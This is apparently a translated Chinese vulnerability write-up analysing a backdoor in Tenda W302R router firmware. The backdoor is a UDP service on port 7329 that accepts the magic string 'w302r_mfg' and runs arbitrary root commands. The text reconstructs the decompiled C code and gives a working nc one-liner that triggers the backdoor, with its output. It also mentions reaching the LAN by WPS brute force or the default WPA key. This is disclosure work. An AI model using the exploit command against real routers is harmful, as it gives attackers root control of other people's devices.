騰達Tenda 路由器后門分析
一直有人認為D-Link是唯一的將在其產品中放置后門供應商,其實這里還有一個供應商也同樣在產品中放置了后門,并且可以利用單個UDP數據包就搞定。她——就是騰達。
騰達W302R無線路由器的最新固件解壓后,我開始尋找基于GoAheadWeb服務器指向的/bin/httpd,騰達做了很多特殊的修改:
進入HTTP接收回路前,調用產生MfgThread的功能作為一個單獨的線程的線程主函數InitMfgTask。
Hmmm…InitMfgTask 和 MfgThread? 也許可能是manufacturing tasks(mfg有可能是MANUFACTURING的縮寫,方便他們在研發過程中發生各種不能訪問路由器管理功能時留下的維修接口,估計正式產品上市的時候忘記去掉了)
首先MfgThread(Mfg進程)創建UDP socket且綁定在7329端口上
然后線程進入一個recvfrom循環,從插座上閱讀最多128字節。預計每一個接收到的UDP數據包,至少有14個字節的長度:
現在最有意思的部分,接收到的UDP數據包,然后解析這個代碼塊:
轉C代碼表示
memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;
我們可以看到,該線程被認為一個以下的數據結構包:
struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; };
只要接收到的數據包開始字符串“w302r_mfg”,代碼然后比較三個ASCII字符指定的命令字節對(’1′,’X',’E'):
為了方便,我已經轉換剩余反匯編(至少重要位)后的C代碼:
switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;
以下操作對應的三個接受的命令字節:
'E'-響應與預先定義的字符串,通常是ping測試
'1' - 蓄意讓用戶運行iwpriv命令
'X'-允許你用root權限運行任何命令
如果被指定為’X'的命令字節命令字節后的數據包(稱為在上述代碼command_arg),其余的被傳遞到call_shell通過POPEN,執行命令:
更重要的是,call_shell填充tx_buf的命令,我們可以看到,從以前的C代碼,發送回客戶端的輸出緩沖區!
了解了MfgThread和其預期的數據包結構的功能,我們可以很容易用NC來執行這個后門:
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin
一點,曾經如此重要的小細節只監聽局域網上,對廣域網無法利用監聽。然而,如果是利用通過沒有暴力速率限制默認情況下啟用WPS的無線網絡,我可以用ReaverPro盒爆破WPS還不是花很多時間,該盒子提供接入WLAN和隨后的根路由器上的shell(他們還附帶一個默認WPA密鑰,你可能想先嘗試):
神奇的字符串表明,這個后門可能是首次實施騰達W302R路由器,騰達W330R也存在該后門,以及想MedialinkMWNWAPR150N這樣重新定義品牌的模塊如。他們都使用相同的“w302r_mfg”magic packet string (神奇的字符串包?)